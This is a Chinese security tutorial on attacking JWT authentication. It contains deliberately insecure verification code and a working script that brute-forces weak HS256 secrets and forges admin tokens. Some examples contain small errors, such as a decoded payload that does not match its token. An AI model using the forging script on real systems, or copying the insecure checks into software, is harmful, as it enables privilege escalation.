1.基本介绍
在互联网应用中,用户身份认证保证 了 系统安全。以往最常见的可能就是 Cookie、Session这些传统技术,但现在渗透测试最常见和开发者更偏向的身份凭证就是——JWT(JSON Web Token),RFC 7519。最常见于 HTTP 请求头 Token 和 Authorization 字段。
JWT 携带签名部分,具备无状态性,服务器不需要存储会话信息,减轻存储压力,轻松支持多个域名或微服务之间的认证,更适用于微服务、分布式等场景。
JWT 主要由三部分组成,使用符号点 . 分隔:
头部(Header):主要是令牌类型和使用的签名算法,如下:
{
"alg": "HS256",
"typ": "JWT"
}载荷(Payload):主要的信息载荷,有三种类型,包含一些预定义字段,也可以自定义信息字段。通过时间戳或者其他随机字段,可以让签名不固定变化。最常见的也就以下信息:
{
"sub": "12345",
"name": "admin",
"exp": 1759736497,
"role": "admin"
}签名(Signature):使用头部指定算法对 base64 编码后的头部、载荷和密钥进行签名。构成为
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret )。
以上最终JWT格式为:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NSIsIm5hbWUiOiJhZG1pbiIsImV4cCI6MTc1OTczNjQ5Nywicm9sZSI6ImFkbWluIn0.xfkuSjvejgsd4U8YyHstp_pkDXkMeMBAXd0gk-pNPaM。
2.相关利用
2.1 签名未校验
JWT的核心安全机制依赖于签名验证,以确保Token未被篡改。但如果服务器在验证JWT时只检查 payload 用户身份,未检查签名,或头部设置alg: none(无签名算法),攻击者可随意修改Payload 进行伪造。比如,伪造管理员进行高权限操作,比如重置密码,新增管理员;伪造同级身份,在审批流程伪造身份审批通过。
def handle_request(token):
try:
# 1. 从请求头获取JWT Token
auth_header = request.headers.get('Authorization')
if not auth_header or not auth_header.startswith('Bearer '):
return error_response("未提供认证Token")
token = auth_header[7:] # 去掉"Bearer "前缀
# 2. 提取
header_encoded, payload_encoded, signature_encoded = parts.split('.')
# 3. 解码Payload
payload_json = base64url_decode(payload_encoded)
payload = json.loads(payload_json)
# 4. 检查必需字段
if 'sub' not in payload or 'role' not in payload:
return False, "Token缺少必要字段"
user_id = payload['sub']
user_role = payload['role']
# 5. 验证用户是否存在
if not user_exists_in_db(user_id):
return False, "用户不存在"
# 6. 验证用户权限是否正确
if not check_user_permission(user_id, user_role):
return False, "权限验证失败"
# 7. JWT验证"通过"
return True, payload
except Exception as e:
return False, f"Token处理错误: {str(e)}"2.2 弱密钥
如果密钥太简单(如secret、password)导致可以被暴力破解。破解到密钥后。攻击者可伪造任意用户身份 Token。
现有的 JWT 工具有很多,如 hashcat,TscanPlus。当然,也可以自己利用现有 JWT 或加解密库实现一个简单的破解程序。
import jwt
target_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.uyfcas1phRDNZYP6aEr3lGCP4FpBHwZe1F9aWVEs-xw"
# 常见弱密钥字典
weak_secrets = [
"secret", "password", "123456",
"admin", "qwerty", "jwtsecret",
"p@ssword"
]
# 爆破函数
def brute_force_jwt(jwt_token, secret_list):
header, payload, signature = jwt_token.split('.')
for secret in secret_list:
try:
new_token = jwt.encode(
{"user": "guest", "role": "user"}, # 确保Payload和原始一致
key=secret,
algorithm="HS256"
)
# 检查新Token的签名是否匹配
if new_token.split('.')[2] == signature:
print(f"[+] 密钥破解成功: {secret}")
return secret
except Exception as e:
print(e)
continue
print("[-] 未找到匹配密钥")
return None
# 执行爆破
found_secret = brute_force_jwt(target_jwt, weak_secrets)
# 使用破解的密钥伪造Token(提升权限)
if found_secret:
malicious_payload = {"user": "admin", "role": "admin"}
fake_jwt = jwt.encode(malicious_payload, key=found_secret, algorithm="HS256")
print(f"[+] 伪造的Admin Token: {fake_jwt}")
## 输出如:
## [+] 密钥破解成功: p@ssword
## [+] 伪造的Admin Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.NBJVmZY-FUHBGFqgWJbXcCDrOeZvJlrsgyY5Kxguhi02.3 密钥硬编码
一些组件/开发者将JWT密钥直接硬编码在代码或默认配置文件未经修改,如果是开源或者公开组件代码,会导致密钥被利用。
比较经典的就是 Nacos 默认密钥,如果没注意修改,那么可以利用默认密钥伪造 Token 读取后台业务配置文件。

2.4 会话续期
JWT通常设置一定的有效期,如字段 exp。正常来说,每次会话请求时,除了检查身份以外,还是检查是否已过期。为了用户体验性,会额外进行自动续期检查,比如,在 token 还有 15 分钟或者 1/5 时间过期时,自动签发新 token。
服务器不会进行对 JWT 进行额外记录与存储。如果没有进行额外的校验和吊销机制,那么就可以利用即将过期的 Token 无限制的签发 Token。
# 模拟业务JWT验证处理
def handle_request(request):
# 1. 从请求头获取JWT Token
auth_header = request.headers.get('Authorization')
if not auth_header or not auth_header.startswith('Bearer '):
return error_response("未提供认证Token")
token = auth_header[7:] # 去掉"Bearer "前缀
# 2. 验证JWT签名和基本格式
if not verify_token_signature(token):
return error_response("Token签名无效")
# 3. 解码Token获取Payload(不验证过期时间)
try:
payload = decode_jwt_payload(token) # 只解码,不验证exp
user_id = payload.get('sub')
exp_time = payload.get('exp')
except:
return error_response("Token格式错误")
# 4. 检查Token是否已过期
current_time = get_current_timestamp()
if exp_time < current_time:
return error_response("Token已过期,请重新登录")
# 5. 自动续期检查
token_ttl = exp_time - current_time # 剩余有效期(秒)
total_ttl = 3600 # Token总有效期1小时
if token_ttl < 900: # 如果剩余时间少于15分钟
# 自动签发新Token(使用相同的Payload,更新exp时间)
new_exp_time = current_time + total_ttl # 重新设置为1小时后
new_payload = payload.copy()
new_payload['exp'] = new_exp_time
# 重新签名,没有记录续期状态
new_token = generate_jwt(new_payload)
# 直接在Cookie或自定义响应头中返回新Token
set_response_header('New-Access-Token', new_token)
print(f"[续期] 用户 {user_id} 的Token已自动续期")
# 6. 正常处理业务请求
return process_business_request(user_id)2.5 敏感信息泄露
前面说过,载荷部分可以随意自定义,如果开发者为了开发方便或者不注意,把一些敏感信息如手机号、邮箱或者直接将对象转储字符串到载荷部分中,攻击者就可以通过简单的 Base64 解码获取敏感信息,来进行进一步的利用。当然,前提是攻击者能够获取到会话 Token。
Token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIxNWQ5ZDFjYTM4ZDVkZWU3IiwidXNlcm5hbWUiOiJhZG1pbiJ9.rsnj7dl8TlUjEzGerF-jRDeBUJlPxkNeVEhSSa5HskU
解码:{"alg": "HS256","typ": "JWT"}.{"name": "admin","password": "15d9d1ca38d5dee7","role":"admin"}.签名3.结语
以上是经常遇到的利用 JWT 的方式,如果还有其他方式补充或者有什么描述错误的地方,欢迎一起交流学习。
参考链接: